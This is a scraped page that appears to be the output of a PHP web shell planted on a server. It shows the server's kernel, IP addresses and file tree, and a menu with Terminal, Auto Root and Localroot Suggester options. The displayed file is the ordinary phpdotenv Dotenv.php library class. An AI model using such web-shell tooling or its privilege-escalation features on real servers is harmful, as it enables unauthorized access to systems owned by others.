Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.216.45.133
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp_probe /
vendor /
vlucas /
phpdotenv /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Environment
[ DIR ]
drwxr-xr-x
2021-01-20 14:39
Exception
[ DIR ]
drwxr-xr-x
2021-01-20 14:39
Regex
[ DIR ]
drwxr-xr-x
2021-01-20 14:39
Dotenv.php
3.76
KB
-rw-r--r--
2021-01-20 14:39
Lines.php
3.02
KB
-rw-r--r--
2021-01-20 14:39
Loader.php
6.27
KB
-rw-r--r--
2021-01-20 14:39
Parser.php
5.53
KB
-rw-r--r--
2021-01-20 14:39
Validator.php
4.64
KB
-rw-r--r--
2021-01-20 14:39
Save
Rename
<?php namespace Dotenv; use Dotenv\Environment\DotenvFactory; use Dotenv\Environment\FactoryInterface; use Dotenv\Exception\InvalidPathException; /** * This is the dotenv class. * * It's responsible for loading a `.env` file in the given directory and * setting the environment variables. */ class Dotenv { /** * The loader instance. * * @var \Dotenv\Loader */ protected $loader; /** * Create a new dotenv instance. * * @param \Dotenv\Loader $loader * * @return void */ public function __construct(Loader $loader) { $this->loader = $loader; } /** * Create a new dotenv instance. * * @param string|string[] $paths * @param string|null $file * @param \Dotenv\Environment\FactoryInterface|null $envFactory * * @return \Dotenv\Dotenv */ public static function create($paths, $file = null, FactoryInterface $envFactory = null) { $loader = new Loader( self::getFilePaths((array) $paths, $file ?: '.env'), $envFactory ?: new DotenvFactory(), true ); return new self($loader); } /** * Returns the full paths to the files. * * @param string[] $paths * @param string $file * * @return string[] */ private static function getFilePaths(array $paths, $file) { return array_map(function ($path) use ($file) { return rtrim($path, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$file; }, $paths); } /** * Load environment file in given directory. * * @throws \Dotenv\Exception\InvalidPathException|\Dotenv\Exception\InvalidFileException * * @return array<string|null> */ public function load() { return $this->loadData(); } /** * Load environment file in given directory, silently failing if it doesn't exist. * * @throws \Dotenv\Exception\InvalidFileException * * @return array<string|null> */ public function safeLoad() { try { return $this->loadData(); } catch (InvalidPathException $e) { // suppressing exception return []; } } /** * Load environment file in given directory. * * @throws \Dotenv\Exception\InvalidPathException|\Dotenv\Exception\InvalidFileException * * @return array<string|null> */ public function overload() { return $this->loadData(true); } /** * Actually load the data. * * @param bool $overload * * @throws \Dotenv\Exception\InvalidPathException|\Dotenv\Exception\InvalidFileException * * @return array<string|null> */ protected function loadData($overload = false) { return $this->loader->setImmutable(!$overload)->load(); } /** * Required ensures that the specified variables exist, and returns a new validator object. * * @param string|string[] $variables * * @return \Dotenv\Validator */ public function required($variables) { return new Validator((array) $variables, $this->loader); } /** * Returns a new validator object that won't check if the specified variables exist. * * @param string|string[] $variables * * @return \Dotenv\Validator */ public function ifPresent($variables) { return new Validator((array) $variables, $this->loader, false); } /** * Get the list of environment variables declared inside the 'env' file. * * @return string[] */ public function getEnvironmentVariableNames() { return $this->loader->getEnvironmentVariableNames(); } }